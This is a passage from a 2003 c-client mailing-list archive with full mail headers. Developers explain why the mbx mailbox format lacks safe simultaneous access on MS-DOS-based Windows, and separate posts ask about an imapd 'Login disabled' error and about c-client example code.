cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Oct 2003 10:53:31 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9MHrKxs025568; Wed, 22 Oct 2003 10:53:21 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MHqUfc071906 for ; Wed, 22 Oct 2003 10:52:30 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MHqTTO027819 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 22 Oct 2003 10:52:29 -0700 Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MHqSO9018474; Wed, 22 Oct 2003 10:52:28 -0700 Received: from goedel.math.washington.edu (goedel.math.washington.edu [128.95.224.10]) by euler.math.washington.edu (8.12.9/8.12.9) with ESMTP id h9MHqMOx109602; Wed, 22 Oct 2003 10:52:22 -0700 (PDT) Message-Id: Date: Wed, 22 Oct 2003 10:52:22 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Mark Crispin Cc: Abe Backus , c-client@CAC.Washington.EDU Subject: Re: Cygwin patches for 2002e In-Reply-To: References: <000e01c397a4$b5da9e20$5400a8c0@abrahambackus.net> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Mark Crispin (mrc@CAC.Washington.EDU) wrote today: :) On Wed, 22 Oct 2003, Eduardo Chappa wrote: :) > There is no way I can predict what a user will do when using Pine, :) > and you must know very well that ignoring a possible case is one of :) > the main reasons why users report bugs, so I would like to offer a :) > full featured (or as much complete as possible) software for people :) > in Cygwin. This means that if they want simultaneous access to a :) > mailbox, they'll need to get it if the format of the mailbox allows :) > it. :) :) Once again... :) :) Simultaneous access in the mbx format requires meaningful file locking. :) :) There is no such thing as meaningful file locking in Windows 98. :) Windows 98 is not a real operating system. Nor are Windows 95, Windows :) Me, Windows 3.1, MS-DOS, Mac OS 9 (and earlier), etc. Mark, Does this mean that the changes that you are accepting into C-client will make Pine not work in Windows 9X when using mbx style folders?. I believe you are trying to say that, but it is not completely clear. Your answer is about locking, not about mbx style folders. I just want to be sure that the answer to my question is yes. Can you confirm or deny this, please? Thanks. Have a nice day. Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shivax2.cac.washington.edu Wed Oct 22 11:24:19 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Oct 2003 11:24:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIOJlU004124 for ; Wed, 22 Oct 2003 11:24:19 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIOGqm008380 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Oct 2003 11:24:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9MIOBSa025728; Wed, 22 Oct 2003 11:24:11 -0700 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIMwfc050370 for ; Wed, 22 Oct 2003 11:22:58 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIMubn019346 for ; Wed, 22 Oct 2003 11:22:56 -0700 Received: from mailgate.Cadence.COM (mailgate.Cadence.COM [158.140.2.1]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIMsO9019693; Wed, 22 Oct 2003 11:22:54 -0700 Received: from metis.cAdence.COM (metis.Cadence.COM [158.140.48.93]) by mailgate.Cadence.COM (8.9.3/8.9.3) with ESMTP id LAA12688; Wed, 22 Oct 2003 11:22:53 -0700 (PDT) Received: from metis.cAdence.COM (metis.cAdence.COM [158.140.48.93]) by metis.cAdence.COM (8.12.9/8.8.5) with SMTP id h9MIMrlX007742; Wed, 22 Oct 2003 11:22:53 -0700 (PDT) Message-Id: <200310221822.h9MIMrlX007742@metis.cAdence.COM> Date: Wed, 22 Oct 2003 11:22:53 -0700 (PDT) Reply-To: Gregory Hicks Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Gregory Hicks To: mrc@CAC.Washington.EDU, chappa@math.washington.edu Cc: abraham@backus.com, c-client@CAC.Washington.EDU Subject: Re: Cygwin patches for 2002e MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: 59BnwBPq2CjEtZ/cuRBhEA== X-Received: By mailgate.Cadence.COM as LAA12688 at Wed Oct 22 11:22:53 2003 X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='QUOTED_EMAIL_TEXT, TO_HAS_SPACES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Eduardo: I think what Mark was saying was that simultaneous access to an mbx mailbox from various incarnations of pine MAY not work correctly under an MS-DOS implementation of windows. If only one incarnation of pine is running, the mbx SHOULD be readable. If your users *insist* on running two or more incarnations of pine to access the same mailbox, the results probably will be unpredictable. Regards, Gregory Hicks > Date: Wed, 22 Oct 2003 10:52:22 -0700 (PDT) > From: Eduardo Chappa > To: Mark Crispin > Cc: Abe Backus , c-client@cac.washington.edu > Subject: Re: Cygwin patches for 2002e > > *** Mark Crispin (mrc@CAC.Washington.EDU) wrote today: > > :) On Wed, 22 Oct 2003, Eduardo Chappa wrote: > :) > There is no way I can predict what a user will do when using Pine, > :) > and you must know very well that ignoring a possible case is one of > :) > the main reasons why users report bugs, so I would like to offer a > :) > full featured (or as much complete as possible) software for people > :) > in Cygwin. This means that if they want simultaneous access to a > :) > mailbox, they'll need to get it if the format of the mailbox allows > :) > it. > :) > :) Once again... > :) > :) Simultaneous access in the mbx format requires meaningful file locking. > :) > :) There is no such thing as meaningful file locking in Windows 98. > :) Windows 98 is not a real operating system. Nor are Windows 95, Windows > :) Me, Windows 3.1, MS-DOS, Mac OS 9 (and earlier), etc. > > Mark, > > Does this mean that the changes that you are accepting into C-client > will make Pine not work in Windows 9X when using mbx style folders?. I > believe you are trying to say that, but it is not completely clear. Your > answer is about locking, not about mbx style folders. I just want to be > sure that the answer to my question is yes. Can you confirm or deny this, > please? > > Thanks. Have a nice day. > > Eduardo > http://www.math.washington.edu/~chappa/pine/ ------------------------------------------------------------------- Gregory Hicks | Principal Systems Engineer Cadence Design Systems | Direct: 408.576.3609 555 River Oaks Pkwy M/S 6B1 | Fax: 408.894.3400 San Jose, CA 95134 | Internet: ghicks@cadence.com "The trouble with doing anything right the first time is that nobody appreciates how difficult it was." When a team of dedicated individuals makes a commitment to act as one... the sky's the limit. Just because "We've always done it that way" is not necessarily a good reason to continue to do so... Grace Hopper, Rear Admiral, United States Navy From pinedev@shivax2.cac.washington.edu Wed Oct 22 11:33:04 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Oct 2003 11:33:04 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIX4lU004678 for ; Wed, 22 Oct 2003 11:33:04 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIX2OA020056 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Oct 2003 11:33:03 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9MIWsxs016072; Wed, 22 Oct 2003 11:32:54 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIWRfc049720 for ; Wed, 22 Oct 2003 11:32:27 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIWQ5J026215 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 22 Oct 2003 11:32:26 -0700 Received: from euler.math.washington.edu (euler.math.washington.edu [128.95.224.1]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIWOqn008685 for ; Wed, 22 Oct 2003 11:32:25 -0700 Received: from goedel.math.washington.edu (goedel.math.washington.edu [128.95.224.10]) by euler.math.washington.edu (8.12.9/8.12.9) with ESMTP id h9MIWNOx113746; Wed, 22 Oct 2003 11:32:23 -0700 (PDT) Message-Id: Date: Wed, 22 Oct 2003 11:32:23 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Eduardo Chappa To: Gregory Hicks Cc: Mark Crispin , abraham@backus.com, c-client@CAC.Washington.EDU Subject: Re: Cygwin patches for 2002e In-Reply-To: <200310221822.h9MIMrlX007742@metis.cAdence.COM> References: <200310221822.h9MIMrlX007742@metis.cAdence.COM> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN *** Gregory Hicks (ghicks@cadence.com) wrote today: :) I think what Mark was saying was that simultaneous access to an mbx :) mailbox from various incarnations of pine MAY not work correctly under :) an MS-DOS implementation of windows. :) :) If only one incarnation of pine is running, the mbx SHOULD be readable. :) :) If your users *insist* on running two or more incarnations of pine to :) access the same mailbox, the results probably will be unpredictable. Dear Gregory, Thank you for clarifying Mark's message. So the answer translated to my mind is no it will not work. Too bad. Hopefully it will not be a problem. Thank you! Eduardo http://www.math.washington.edu/~chappa/pine/ From pinedev@shivax2.cac.washington.edu Wed Oct 22 11:45:24 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Oct 2003 11:45:24 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIjOlU005722 for ; Wed, 22 Oct 2003 11:45:24 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIjMOA020512 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Oct 2003 11:45:22 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9MIjHXU076760; Wed, 22 Oct 2003 11:45:17 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIidfc026940 for ; Wed, 22 Oct 2003 11:44:39 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIic5J030975 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 22 Oct 2003 11:44:38 -0700 Received: from fsc.cpsc.ucalgary.ca (fsc.cpsc.ucalgary.ca [136.159.2.3]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MIiaql009174 for ; Wed, 22 Oct 2003 11:44:37 -0700 Received: from imgw1.cpsc.ucalgary.ca (ons-imgw1 [192.168.1.66]) by fsc.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id h9MIbreU003851; Wed, 22 Oct 2003 12:37:53 -0600 Received: from ms257a.cpsc.ucalgary.ca (ms257a [136.159.4.248]) by imgw1.cpsc.ucalgary.ca (8.12.10/8.12.10) with ESMTP id h9MIbpxY005675; Wed, 22 Oct 2003 12:37:51 -0600 Received: (from arlt@localhost) by ms257a.cpsc.ucalgary.ca (8.12.6/8.12.6/Submit) id h9MIboB4003146; Wed, 22 Oct 2003 12:37:50 -0600 (MDT) Message-Id: <20031022183750.GD566@ms257a.cpsc.ucalgary.ca> Date: Wed, 22 Oct 2003 12:37:50 -0600 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Brad Arlt To: Eduardo Chappa Cc: c-client@CAC.Washington.EDU Subject: Re: Cygwin patches for 2002e In-Reply-To: References: <000e01c397a4$b5da9e20$5400a8c0@abrahambackus.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline X-Virus-Scanned: by amavis-milter (http://amavis.org/) X-Spam-Status: No, hits=3.3 required=6.8 X-Spam-Level: *** X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CD, __CT, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, Oct 22, 2003 at 10:52:22AM -0700, Eduardo Chappa wrote: > *** Mark Crispin (mrc@CAC.Washington.EDU) wrote today: > :) Once again... > :) > :) Simultaneous access in the mbx format requires meaningful file locking. > :) > :) There is no such thing as meaningful file locking in Windows 98. > :) Windows 98 is not a real operating system. Nor are Windows 95, Windows > :) Me, Windows 3.1, MS-DOS, Mac OS 9 (and earlier), etc. > > Mark, > > Does this mean that the changes that you are accepting into C-client > will make Pine not work in Windows 9X when using mbx style folders?. I > believe you are trying to say that, but it is not completely clear. Your > answer is about locking, not about mbx style folders. I just want to be > sure that the answer to my question is yes. Can you confirm or deny this, > please? I'll take a stab at this... mbx needs file locking if it has any hope of mailbox integrity if there is concurrent access - like email delivery or the mailbox being open in two processes. If you don't have real file locking, you can't use mbx. There is a nice long rant/documentation on locking in the UW-imap distro (so I presume it is in the Pine distro as well) in docs/locking.txt So to spell it out for you: Windows Me/98/95/3.11/3.1/3.0, MacOS 9, and MS-DOS cannot use mbx format without great risk of data corruption. It may be you *can* use mbx, but you shouldn't. I have a feeling that the Unix mailbox format will work better for you under these OSes. Using Windows 2000/XP/2003 will allow you to use both Windows *and* mbx in without these problems. ----------------------------------------------------------------------- __o Bradley Arlt Security Team Lead _ \<_ arlt@cpsc.ucalgary.ca University Of Calgary (_)/(_) Joyously Canadian Computer Science From pinedev@shivax2.cac.washington.edu Wed Oct 22 12:02:07 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Oct 2003 12:02:07 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MJ27lU006494 for ; Wed, 22 Oct 2003 12:02:07 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MJ25OA021251 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Oct 2003 12:02:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9MJ1xSa016700; Wed, 22 Oct 2003 12:02:00 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MJ1Mfc007776 for ; Wed, 22 Oct 2003 12:01:23 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MJ1LQQ003294 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=FAIL) for ; Wed, 22 Oct 2003 12:01:21 -0700 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MJ1Kqm009882 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 22 Oct 2003 12:01:20 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MJ1G0Y018667; Wed, 22 Oct 2003 12:01:16 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MJ1G4W019045; Wed, 22 Oct 2003 12:01:16 -0700 Message-Id: Date: Wed, 22 Oct 2003 12:01:16 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Gregory Hicks Cc: chappa@math.washington.edu, abraham@backus.com, c-client@CAC.Washington.EDU Subject: Re: Cygwin patches for 2002e In-Reply-To: <200310221822.h9MIMrlX007742@metis.cAdence.COM> References: <200310221822.h9MIMrlX007742@metis.cAdence.COM> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 22 Oct 2003, Gregory Hicks wrote: > I think what Mark was saying was that simultaneous access to an mbx > mailbox from various incarnations of pine MAY not work correctly under > an MS-DOS implementation of windows. > > If only one incarnation of pine is running, the mbx SHOULD be readable. > > If your users *insist* on running two or more incarnations of pine to > access the same mailbox, the results probably will be unpredictable. This is correct. To be specific: If you wish to run two or more incarnations of Pine (or other c-client tool such as imapd) on Windows to access the same mailbox at the same time, the only means that is promised to work correctly is with a native Windows (not Cygwin) version, running under Windows NT/2000/XP. It is probable (but not guaranteed) that two or more incarnations of a Cygwin build of UNIX Pine (or other c-client software) accessing the same mailbox at the same time will work correctly under Windows NT/2000/XP. In any other configuration, the results will be unpredictable, including *all* configurations involving Windows 3.1/9x/Me (MS-DOS based Windows). It is possible (but not guaranteed) that a Cygwin build of UNIX Pine (or other c-client software) accessing the same mailbox at the same time with PC Pine (or other native Windows build c-client software) accessing the same mailbox at the same time will work to a limited fashion under Windows NT/2000/XP. Certain aspects will fail; auxillary locks are handled differently in UNIX and Windows. The lessons should be: 1) do not expect simultaneous access to work on systems which do not provide the tools to make simultaneous access work. 2) do not expect software running under a compatibility package for a different operating system to interact completely (if at all) with the native version of that software. A compatibility package should be seen for what it is -- an interim means to run software from a foreign operating system. As such, it will have limitations; and these limitations translate into permanent restrictions on how the software runs under that compatibility package. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Oct 22 15:31:37 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 22 Oct 2003 15:31:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MMVblU016683 for ; Wed, 22 Oct 2003 15:31:37 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MMVZOA029497 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 22 Oct 2003 15:31:36 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9MMVUSa020416; Wed, 22 Oct 2003 15:31:30 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MMT8fc024490 for ; Wed, 22 Oct 2003 15:29:08 -0700 Received: from fed1mtao02.cox.net (fed1mtao02.cox.net [68.6.19.243]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9MMT7TN029410 for ; Wed, 22 Oct 2003 15:29:07 -0700 Received: from smtp.west.cox.net ([172.18.180.57]) by fed1mtao02.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with SMTP id <20031022222908.NKRF27579.fed1mtao02.cox.net@smtp.west.cox.net> for ; Wed, 22 Oct 2003 18:29:08 -0400 Message-Id: <20031022222908.NKRF27579.fed1mtao02.cox.net@smtp.west.cox.net> Date: Wed, 22 Oct 2003 18:29:04 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: To: c-client@u.washington.edu MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report='NO_REAL_NAME, SIGNATURE_SHORT_DENSE, SUBJ_MISSING, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID, __SUBJ_MISSING' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN When I try to use Netscape Messenger with imapd it gives an error message on the server that the Login is disabled... Oct 22 14:13:11 mail imapd[32389]: Login disabled user=sean auth=sean host =sands.beach.net [206.16.184.55] If anyone can help I would really appreciate it. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 23 03:19:45 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 Oct 2003 03:19:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9NAJilU007538 for ; Thu, 23 Oct 2003 03:19:44 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9NAJeOA015494 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 23 Oct 2003 03:19:40 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9NAJZxs028028; Thu, 23 Oct 2003 03:19:35 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9NAHefc049004 for ; Thu, 23 Oct 2003 03:17:40 -0700 Received: from atlantic-linux-1 (host214-232.pool8175.interbusiness.it [81.75.232.214]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9NAHZK5008443 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 23 Oct 2003 03:17:38 -0700 Received: from darkstar (darkstar.sparkmachine.com [193.68.171.66]) by atlantic-linux-1 (8.12.10/8.11.6) with SMTP id h9NAEYdE002507 for ; Thu, 23 Oct 2003 12:14:36 +0200 Message-Id: <072701c3994e$8bcecab0$42ab44c1@darkstar> Date: Thu, 23 Oct 2003 13:15:09 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Nedelcho Stanev" To: Subject: examples for c-client MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0724_01C39967.AF0382F0" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 X-Uwash-Spam: Gauge=XII, Probability=12%, Report='PRIORITY_NO_NAME, __CT, __CTYPE_HAS_BOUNDARY, __CTYPE_MULTIPART_ALT, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_X_PRIORITY, __MIME_HTML, __MIME_VERSION, __NEXTPART_ALL, __NEXTPART_NORMAL, __OUTLOOK_MSGID_1, __SANE_MSGID, __TAG_EXISTS_BODY, __TAG_EXISTS_HEAD, __TAG_EXISTS_HTML, __TAG_EXISTS_META' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0724_01C39967.AF0382F0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello , Does anybody can give a link to site with examples for c-client i mean somewhere where i can read easy how to give mime message to library and how to get content? also, is there are some C++ wrapper for the library. sorry for my questions, but i was looked on the web and didn't find something usefull for beginners with library. i know that i can look inside pine code but this is similar to openssl = :) so may be some one can give some short example how to do this ? Best wishes, decho ------=_NextPart_000_0724_01C39967.AF0382F0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Hello ,

    Does anybody can give a link to site with examples = for=20 c-client
    i mean somewhere where i can read easy how to give mime=20 message
    to library and how to get content?
    also, is there are some = C++=20 wrapper for the library.
    sorry for my questions, but i was looked on = the=20 web
    and didn't find something usefull for beginners with = library.
    i know=20 that i can look inside pine code but this is similar to openssl  = :)
    so=20 may be some one can give some short example how
    to do this = ?

    Best=20 wishes,
    decho
    ------=_NextPart_000_0724_01C39967.AF0382F0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 23 07:02:08 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 Oct 2003 07:02:08 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9NE28lU013407 for ; Thu, 23 Oct 2003 07:02:08 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9NE26OA020628 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 23 Oct 2003 07:02:07 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9NE1vSa004634; Thu, 23 Oct 2003 07:01:57 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9NE0nfc023078 for ; Thu, 23 Oct 2003 07:00:49 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9NE0kK5008507 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; 